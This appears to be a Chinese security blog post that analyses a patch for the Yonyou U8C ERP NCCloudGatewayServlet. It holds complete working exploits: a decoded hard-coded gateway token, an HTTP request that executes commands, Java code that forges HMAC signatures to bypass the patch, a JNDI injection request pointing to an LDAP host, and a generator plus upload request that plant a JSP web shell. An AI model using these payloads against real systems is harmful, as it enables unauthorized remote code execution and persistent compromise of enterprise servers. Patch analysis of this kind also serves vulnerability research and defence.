U8CERP命令执行NCCloudGatewayServlet+小发现
一.基础信息
最近在先知社区看到有人发关于用友的U8c命令执行,发现是通过补丁进行分析的,那么对于我这个java安全的初学者还是跟着补丁复现一下来增强挖掘能力,下面是补丁地址。
[https://security.yonyou.com/#/patchInfo?identifier=9695976d67dd4786badf91df6cb6578c](https://security.yonyou.com/#/patchInfo?identifier=9695976d67dd4786badf91df6cb6578c)
下面分析中我会非常细的分析,所以你只需要用友java安全的基础就足够了,因为这个漏洞也不难,难就难到
到达危险方法其中会经过许多参数,但是也问题不大废话不多说那我们开始吧。

二.获取源码+远程调试
说好的细那么就从获取源码开始吧,下载之后点击u8csetup.bat就会进入安装程序。
[https://pan.yonyou.com/web/share.html?hash=nAvIzp3NQ6Q&wd=&eqid=a5ec57900011c1e70000000665a8a21f](https://pan.yonyou.com/web/share.html?hash=nAvIzp3NQ6Q&wd=&eqid=a5ec57900011c1e70000000665a8a21f)
再就是远程调试了这里我通过修改启动文件startup.bat发现并没有启任何作用,其实用友是专门有程序来解决这个调试问题的,E:\U8CERP\bin\u8cSysConfig.bat 启动这个程序后面添加(图一)
-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
再去idea配置一下图二,那么远程调试的debug就配置好了,对比php的远程debug调试的话还是非常简单了。


三.补丁分析-路由分析-小发现
反编译查看补丁,接着通过补丁标题定位这个类但是并没没有找到NCCloudGatewayServlet,那么我们全局搜索一下找到了,发现其实是
com.yonyou.nccloud.gateway.adaptor.servlet.ServletForGW 这个类图一,那么我们也在补丁中找到了这个文件,既然是这个类原因我们进去看看(图二),
可以看到doAction这个方法和方法参数那么大差不差就是这个参数作为触发点,这里我们去找找这个路由在web.xml中并没 有找到,
那么分析一下路由/*点进去就发现不是接着看到/service/*大致看了一下应该就是了这里,那么首先看看怎么进入到doAction图三,跟进去getServiceObject。



进去之后可以看到进入lookup图一,根据名字我们这里其实是进行了jndi注入的事实也确实这样不着急先一步一步来看图二,我们可以看到图二中开头是
java:comp/env/但是我们并不是所以不会走到lookup这里其实就是进行了jndi注入但是不可控,问题不大那么就会走到图二中的findMete方法图三实际上里面是存在一个黑名单
这些黑名单就是对应的请求key对应的value就是类(也不能这样 讲先这么理解)图二中还有个方法是jndi但是这里的meta变量已经不等于null所以不会走进去这里先不提后面说。



那么这里其实就已经走出来了,回到InvokerServlet#doAction看下面图一我已经解释了,所以到这里路由分析就结束了,就问你细不细?基本是一步一步走的。

还记得上面的jndi方法吗?这里我们先随便写一个路由让上面的Map匹配不到key就可以进去了图一,接着都进
jndiwithReTry方法图二,到这里其实就行了要是在往下走就真的到底层jndi注入了可以看图三



但是实际上呢?这里是存在问题的那就是最开始InvokerServlet#doAction方法的第一行代码
String pathInfo = request.getPathInfo();
如 /service/rmi://ltnsv0.dnslog.cn:80/Exploit
获取到的是 /rmi:/ltnsv0.dnslog.cn:80/Exploit
两个反引号变成了一个,师傅们要是能看到这里可以自己绕过一下 哈哈。
四.命令执行
4.1:分析命令执行
因为本人菜鸡所以想给部分和鄙人一样菜的人写细一点,大牛子可以跳着看,上面也是分析了请求的路由的部分,之后我们进入ServletForGW#doAction图一,
那么首先绕过这个权限验证图二实际上就是获取一个token进行解密然后和我们的内容进行对比,这里因为token是固定的所以导致绕过,
我已经写好了代码一其实就是复制他的代码哈哈哈那么请求头加入gatewaytoken:
TJ6RT-3FVCB-DPYP8-XF7QM-96FV3,
接着进入到callNCService方法这里请求json不然转换空进不去。


import nc.vo.framework.rsa.Encode;
public class Jndi {
public static void main(String[] args) throws Exception {
String nctoken = (new Encode()).decode("goimfdnalmcffdjciilkpokdaogklcdofkipilehgahfkgnpknbngcjfaeeomalj");
System.out.println(nctoken);
//返回TJ6RT-3FVCB-DPYP8-XF7QM-96FV3
}
}
下面就会走进非常长的一个代码块代码一,说实话我也想一步一步来但是太长了这里我就粗略看
首先看到下面代码我们就明白什么情况了
Object invokeRes = MethodUtils.invokeMethod(ncService, methodName, argValues, argTypes);
MethodUtils.invokeMethod(): Apache Commons Lang 提供的反射工具方法
ncService: 要调用方法的目标对象
methodName: 要调用的方法名称(字符串形式)
argValues: 方法参数值数组
argTypes: 方法参数类型数组
先看看第一个参数和第二个参数是直接可以控制的,
String serviceClassName = serviceInfo.getAsJsonPrimitive("serviceClassName").getAsString();
String methodName = serviceInfo.getAsJsonPrimitive("serviceMethodName").getAsString();
那么是不是可以调用任意的方法呢?其实是不可以的哈,因为这里就出现了和我们分析路由的时候
出现了同样的代码(白名单),
Object ncService = NCLocator.getInstance().lookup(serviceClassName);
那么就剩下 argValues, argTypes能不能控制了其实是可以的看图一,知道了之后那么既然已经有白名单了还能命令执行吗?我们再次从补丁里面看看。
public Object callNCService(JsonObject jsonObj) throws Throwable {
Logger.info("NC business processing...");
JsonPrimitive accountCode = jsonObj.getAsJsonPrimitive("accountCode");
if (accountCode != null) {
this.initDataSource(accountCode.getAsString());
}
JsonPrimitive groupCode = jsonObj.getAsJsonPrimitive("groupCode");
if (groupCode != null) {
JsonPrimitive userCode = jsonObj.getAsJsonPrimitive("user");
this.initUserContext(groupCode.getAsString(), userCode.getAsString());
}
this.initBizDateTime();
JsonObject serviceInfo = jsonObj.getAsJsonObject("serviceInfo");
String serviceClassName = serviceInfo.getAsJsonPrimitive("serviceClassName").getAsString();
String methodName = serviceInfo.getAsJsonPrimitive("serviceMethodName").getAsString();
JsonArray jsonArgInfoArray = serviceInfo.getAsJsonArray("serviceMethodArgInfo");
Object[] argValues = (Object[])null;
Class[] argTypes = (Class[])null;
int argCount = 0;
Iterator invokeRes;
if (jsonArgInfoArray != null) {
argCount = jsonArgInfoArray.size();
if (argCount > 0) {
argValues = new Object[argCount];
argTypes = new Class[argCount];
}
int argIndex = 0;
for(invokeRes = jsonArgInfoArray.iterator(); invokeRes.hasNext(); ++argIndex) {
Object jsonArgInfo = invokeRes.next();
JsonObject jsonArgInfoObj = (JsonObject)jsonArgInfo;
JsonObject jsonArgTypeObj = jsonArgInfoObj.getAsJsonObject("argType");
JsonObject jsonArgValueObj = jsonArgInfoObj.getAsJsonObject("argValue");
Boolean isAgg = jsonArgInfoObj.getAsJsonPrimitive("agg").getAsBoolean();
Boolean isArray = jsonArgInfoObj.getAsJsonPrimitive("isArray").getAsBoolean();
Boolean isPrimitive = jsonArgInfoObj.getAsJsonPrimitive("isPrimitive").getAsBoolean();
String argTypeClassName;
JsonPrimitive jsonArgTypeBody;
if (isAgg) {
jsonArgTypeBody = jsonArgTypeObj.getAsJsonPrimitive("agg");
if (jsonArgTypeBody != null) {
argTypeClassName = jsonArgTypeBody.getAsString();
if (StringUtils.isEmpty(argTypeClassName)) {
throw new BusinessException("聚合VO类名为空,请设置聚合VO类名!");
}
argTypes[argIndex] = Class.forName(argTypeClassName);
if (argTypes[argIndex] != null) {
argValues[argIndex] = this.parseAggVO(jsonArgTypeObj, jsonArgValueObj, argTypes[argIndex]);
}
}
} else {
Class argtype;
JsonElement jsonElement;
JsonArray jsonArray;
ArrayList jsonArrayList;
JsonElement jsonEle;
Iterator var27;
JsonObject jsonObject;
Class argclazz;
JsonPrimitive tokenType;
String tokenTypeClassName;
String fieldStr;
if (isArray) {
jsonArgTypeBody = jsonArgTypeObj.getAsJsonPrimitive("body");
if (jsonArgTypeBody != null) {
argTypeClassName = jsonArgTypeBody.getAsString();
if (StringUtils.isEmpty(argTypeClassName)) {
throw new BusinessException("参数类型设置的类名为空,请设置参数类型类名!");
}
argtype = Class.forName(argTypeClassName);
if (isPrimitive) {
argtype = GWUtil.getPrimitiveType(argtype, isPrimitive);
}
if (argtype != null) {
jsonElement = jsonArgValueObj.get("body");
if (!(jsonElement instanceof JsonArray)) {
if (jsonElement instanceof JsonPrimitive) {
fieldStr = jsonElement.getAsString();
if (!StringUtils.isEmpty(fieldStr)) {
argValues[argIndex] = ConvertUtils.convert(fieldStr, argTypes[argIndex]);
}
}
} else {
jsonArray = (JsonArray)jsonElement;
jsonArrayList = new ArrayList();
var27 = jsonArray.iterator();
while(var27.hasNext()) {
jsonEle = (JsonElement)var27.next();
if (jsonEle instanceof JsonPrimitive) {
jsonArrayList.add(ConvertUtils.convert(((JsonPrimitive)jsonEle).getAsString(), argtype));
} else if (jsonEle instanceof JsonObject) {
jsonObject = (JsonObject)jsonEle;
argclazz = Arg.class;
tokenType = jsonArgTypeObj.getAsJsonPrimitive("token");
if (tokenType != null) {
tokenTypeClassName = tokenType.getAsString();
if (!StringUtils.isEmpty(argTypeClassName)) {
argclazz = Class.forName(tokenTypeClassName);
}
}
jsonArrayList.add(JSonParserUtils.parseJSonToPOJO(jsonObject, argclazz));
}
}
argTypes[argIndex] = GWUtil.newInstance(argtype, jsonArrayList.size(), isPrimitive).getClass();
argValues[argIndex] = GWUtil.convertToVOArray(argtype, jsonArrayList, isPrimitive);
}
}
}
} else {
jsonArgTypeBody = jsonArgTypeObj.getAsJsonPrimitive("body");
if (jsonArgTypeBody != null) {
argTypeClassName = jsonArgTypeBody.getAsString();
if (StringUtils.isEmpty(argTypeClassName)) {
throw new BusinessException("参数类型设置的类名为空,请设置参数类型类名!");
}
argtype = Class.forName(argTypeClassName);
if (isPrimitive) {
argtype = GWUtil.getPrimitiveType(argtype, isPrimitive);
}
argTypes[argIndex] = argtype;
if (argTypes[argIndex] != null) {
jsonElement = jsonArgValueObj.get("body");
if (jsonElement instanceof JsonObject) {
argValues[argIndex] = JSonParserUtils.parseJSonToPOJO((JsonObject)jsonElement, argTypes[argIndex]);
} else if (!(jsonElement instanceof JsonArray)) {
if (jsonElement instanceof JsonPrimitive) {
fieldStr = jsonElement.getAsString();
if (!StringUtils.isEmpty(fieldStr)) {
argValues[argIndex] = ConvertUtils.convert(fieldStr, argTypes[argIndex]);
}
}
} else {
jsonArray = (JsonArray)jsonElement;
jsonArrayList = new ArrayList();
var27 = jsonArray.iterator();
while(var27.hasNext()) {
jsonEle = (JsonElement)var27.next();
if (jsonEle instanceof JsonPrimitive) {
jsonArrayList.add(ConvertUtils.convert(((JsonPrimitive)jsonEle).getAsString(), argTypes[argIndex]));
} else if (jsonEle instanceof JsonObject) {
jsonObject = (JsonObject)jsonEle;
argclazz = Arg.class;
tokenType = jsonArgTypeObj.getAsJsonPrimitive("token");
if (tokenType != null) {
tokenTypeClassName = tokenType.getAsString();
if (!StringUtils.isEmpty(argTypeClassName)) {
argclazz = Class.forName(tokenTypeClassName);
}
}
jsonArrayList.add(JSonParserUtils.parseJSonToPOJO(jsonObject, argclazz));
}
}
argValues[argIndex] = jsonArrayList;
}
}
}
}
}
}
}
if (this.sqlwhiteenble && "nc.itf.uap.IUAPQueryBS".equalsIgnoreCase(serviceClassName)) {
String sql = "select * from gw_tableview";
String querysql = (String)argValues[0];
try {
List<Map<String, Object>> resultMap = (List)(new BaseDAO()).executeQuery(sql, new MapListProcessor());
if (resultMap.isEmpty()) {
Logger.error("目前没有查【" + querysql + "】视图权限");
throw new BusinessException("目前没查询【" + querysql + "】视图权限");
}
boolean hasright = false;
String tablename = "";
Iterator var48 = resultMap.iterator();
while(var48.hasNext()) {
Map<String, Object> row = (Map)var48.next();
String sqlview = (String)row.get("sqlview");
sqlview = sqlview.replaceAll("@lastupdatetime", "");
if (querysql.toLowerCase().indexOf(sqlview.toLowerCase()) > -1) {
hasright = true;
tablename = (String)row.get("viewname");
break;
}
}
if (!hasright) {
Logger.error("目前没有查【" + querysql + "】视图权限");
throw new BusinessException("目前没查询【" + querysql + "】视图权限");
}
} catch (Exception var34) {
Logger.error("目前没有查【" + querysql + "】视图权限", var34);
throw new BusinessException("目前查询【" + querysql + "】视图权限异常:" + var34.getMessage());
}
}
Object ncService = NCLocator.getInstance().lookup(serviceClassName);
Logger.debug("servicename:" + serviceClassName + ";method:" + methodName);
boolean success = false;
invokeRes = null;
try {
Object invokeRes = MethodUtils.invokeMethod(ncService, methodName, argValues, argTypes);

GWWhiteCtrlUtil.getInstance().checkAuthority(serviceClassName, argValues);
这个是补丁添加的代码也就是说在我们获取到了json数据之后进入
GWWhiteCtrlUtil类那么补丁中确实有这么一个类文件,其中里面存在一个黑名单用来过滤图一,之后看看这
两个类图二IActionInvokeService里面还是进行了一个反射操作,那么再看看ProcessFileUtils图三方法
openFile直接结束,里面直接Runitme进行命令执行了。



4.2:payload构造
这里我是非常非常建议师傅们手动跟一次不然你看到payload还是有点懵逼的,payload代码一,还记得我们之前讲到的小发现吗?没错这里可以打不同的rce的哈哈哈,剩下的就交给师傅们思考了。
POST /servlet/NCCloudGatewayServlet HTTP/1.1
Host: xxxxxxxxx
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/json
gatewaytoken: TJ6RT-3FVCB-DPYP8-XF7QM-96FV3
Content-Length: 689
{
"serviceInfo": {
"serviceMethodArgInfo": [
{
"argType": {
"body": "java.lang.String"
},
"argValue": {
"body": "nc.bs.pub.util.ProcessFileUtils"
},
"agg": false,
"isArray": false,
"isPrimitive": false
},
{
"argType": {
"body": "java.lang.String"
},
"argValue": {
"body": "openFile"
},
"agg": false,
"isArray": false,
"isPrimitive": false
},
{
"argType": {
"body": "java.lang.String"
},
"argValue": {
"body": "mstsc.exe"
},
"agg": false,
"isArray": false,
"isPrimitive": false
}
],
"serviceClassName": "com.ufida.zior.console.IActionInvokeService",
"serviceMethodName": "exec"
}
}
五:补丁绕过
这里写这个文章的时候已经很晚了,导致我在分析补丁的时候看错了一部分,以为是一个不可访问的地址,实际上这里是可以绕过的,看图一,
其实就是判断是否180000毫秒以内,并且加密之后在进行base64编码来匹配我们的数据包头sign,这里我写好了绕过代码替换时间戳就行了代码一。

<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-lang3</artifactId>
<version>3.12.0</version>
</dependency>
<dependency>
<groupId>commons-codec</groupId>
<artifactId>commons-codec</artifactId>
<version>1.15</version>
</dependency>
import org.apache.commons.codec.binary.Base64;
import org.apache.commons.lang3.StringUtils;
import javax.crypto.Mac;
import javax.crypto.spec.SecretKeySpec;
import java.nio.charset.StandardCharsets;
import java.security.InvalidKeyException;
import java.security.NoSuchAlgorithmException;
public class HelloServlet{
public static void main(String[] args) throws Exception {
System.out.println(sign("1761664314551"));
checkGateWayTokenNew("1761664314551", "UI566klF5IQp3QrL04x1N0BvUk+cxTeYLVKoiDfkzWc=");
}
public static void checkGateWayTokenNew(String ts, String sign) throws Exception {
if (!StringUtils.isEmpty(ts) && !StringUtils.isEmpty(sign)) {
long tsLong = 0L;
try {
tsLong = Long.parseLong(ts);
} catch (Exception var5) {
throw new Exception("您没有请求该服务的权限,ts参数异常");
}
if (Math.abs(System.currentTimeMillis() - tsLong) > 180000L) {
throw new Exception("您没有请求该服务的权限,参数已过期");
} else if (!StringUtils.equals(sign, sign(ts))) {
throw new Exception("您没有请求该服务的权限,sign验签失败");
}
} else {
throw new Exception("您没有请求该服务的权限,请重启网关");
}
}
public static String sign(String str) throws NoSuchAlgorithmException, InvalidKeyException {
return sign(str, "TJ6RT-3FVCB-DPYP8-XF7QM-96FV3");
}
public static String sign(String str, String secret) throws NoSuchAlgorithmException, InvalidKeyException {
Mac mac = Mac.getInstance("HmacSHA256");
mac.init(new SecretKeySpec(secret.getBytes(StandardCharsets.UTF_8), "HmacSHA256"));
byte[] signData = mac.doFinal(str.getBytes(StandardCharsets.UTF_8));
return new String(Base64.encodeBase64(signData));
}
}
那么这里就可以直接打jndi注入了不知道为什么的再往上看一次,payload代码一。
POST /servlet/NCCloudGatewayServlet HTTP/1.1
Host: 192.168.2.123:8888
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/json
sign: UI566klF5IQp3QrL04x1N0BvUk+cxTeYLVKoiDfkzWc=
ts: 1761664314551
Content-Length: 407
{
"serviceInfo": {
"serviceMethodArgInfo": [
{
"argType": {
"body": "java.lang.String"
},
"argValue": {
"body": "java.lang.String"
},
"agg": false,
"isArray": false,
"isPrimitive": false
}
],
"serviceClassName": "ldap://192.168.2.136:1099/hhszoi",
"serviceMethodName": "exec"
}
}
那么这里可以打其他的补丁
[https://security.yonyou.com/#/patchInfo?identifier=565b9cc1214b473dbeb4ab96eeafec08](https://security.yonyou.com/#/patchInfo?identifier=565b9cc1214b473dbeb4ab96eeafec08)
图一可以看到是可以直接上传文件的extract有一点小小的限制问题不大我直接把脚本写好了代码一,最终payload代码二结束。

package com.example.demo1;
import java.io.ByteArrayOutputStream;
import java.util.zip.ZipEntry;
import java.util.zip.ZipOutputStream;
public class GenerateCompressedZip {
public static void main(String[] args) throws Exception {
// JSP内容
String jspContent = "<% Runtime.getRuntime().exec(request.getParameter(\"cmd\")); %>";
// 创建ZIP,文件名必须是 "compressed"
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ZipOutputStream zos = new ZipOutputStream(baos);
ZipEntry entry = new ZipEntry("compressed");
zos.putNextEntry(entry);
zos.write(jspContent.getBytes());
zos.closeEntry();
zos.close();
byte[] aaa = baos.toByteArray();
// 打印为Java数组格式
System.out.print("byte[] aaa = new byte[]{");
for (int i = 0; i < aaa.length; i++) {
System.out.print(aaa[i]);
if (i < aaa.length - 1) {
System.out.print(", ");
}
}
System.out.println("};");
System.out.println("\n总字节数: " + aaa.length);
System.out.println("ZIP内文件名: compressed");
System.out.println("文件内容: " + jspContent);
}
}
POST /servlet/NCCloudGatewayServlet HTTP/1.1
Host: 192.168.2.123:8888
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/json
sign: UI566klF5IQp3QrL04x1N0BvUk+cxTeYLVKoiDfkzWc=
ts: 1761664314551
Content-Length: 1315
{
"serviceInfo": {
"serviceMethodArgInfo": [
{
"argType": {
"body": "java.lang.Byte"
},
"argValue":{"body":[80, 75, 3, 4, 20, 0, 8, 8, 8, 0, 26, 121, 93, 91, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 10, 0, 0, 0, 99, 111, 109, 112, 114, 101, 115, 115, 101, 100, -77, 81, 13, 42, -51, 43, -55, -52, 77, -43, 75, 79, 45, -127, 50, 53, 52, -11, 82, 43, 82, -109, 53, -118, 82, 11, 75, 83, -117, 75, 64, 50, 1, -119, 69, -119, -71, -87, 37, -87, 69, 26, 74, -55, -71, 41, 74, -102, -102, -86, 118, 0, 80, 75, 7, 8, -73, 75, -109, -81, 52, 0, 0, 0, 58, 0, 0, 0, 80, 75, 1, 2, 20, 0, 20, 0, 8, 8, 8, 0, 26, 121, 93, 91, -73, 75, -109, -81, 52, 0, 0, 0, 58, 0, 0, 0, 10, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 99, 111, 109, 112, 114, 101, 115, 115, 101, 100, 80, 75, 5, 6, 0, 0, 0, 0, 1, 0, 1, 0, 56, 0, 0, 0, 108, 0, 0, 0, 0, 0]
},
"agg":"false","isArray":"true","isPrimitive":"true"
},
{
"argType": {
"body": "java.lang.String"
},
"argValue": {
"body": "hotwebs/hrss/123.jsp"
},
"agg": false,
"isArray": false,
"isPrimitive": false
}
],
"serviceClassName": "nc.itf.hr.tools.IFileTrans",
"serviceMethodName": "uploadFile"
}
}